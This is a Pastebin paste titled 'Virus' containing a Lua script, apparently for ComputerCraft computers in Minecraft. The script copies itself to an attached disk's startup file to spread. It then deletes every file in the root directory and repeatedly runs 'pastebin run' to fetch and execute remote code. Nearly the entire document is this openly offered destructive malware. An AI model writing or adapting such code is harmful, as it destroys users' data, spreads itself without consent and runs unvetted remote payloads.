Advertisement
asteroidsteam

Virus

Aug 6th, 2016
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.60 KB | None | 0 0
  1. filed = fs.exists("1")
  2. file = fs.exists("startup")
  3. disk1 = fs.exists("/disk")
  4. dist = fs.exists("/disk/startup")
  5. if disk1 == true then
  6. if dist == true then
  7. else
  8. fs.copy("1", "/disk/startup")
  9. end
  10. end
  11. if file == true then
  12. fs.delete("startup")
  13. os.reboot()
  14. else
  15. if filed == true then
  16. fs.copy("1", "startup")
  17. files = fs.list("/")
  18. for i = 1, #files do
  19. fs.delete("/"..files[i])
  20. shell.run("cd /")
  21. shell.run("pastebin run t98XsaJw")
  22. end
  23. else
  24. fs.copy("/disk/startup", "/startup")
  25. files = fs.list("/")
  26. for i = 1, #files do
  27. fs.delete("/"..files[i])
  28. shell.run("pastebin run t98XsaJw")
  29. end
  30. end
  31. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement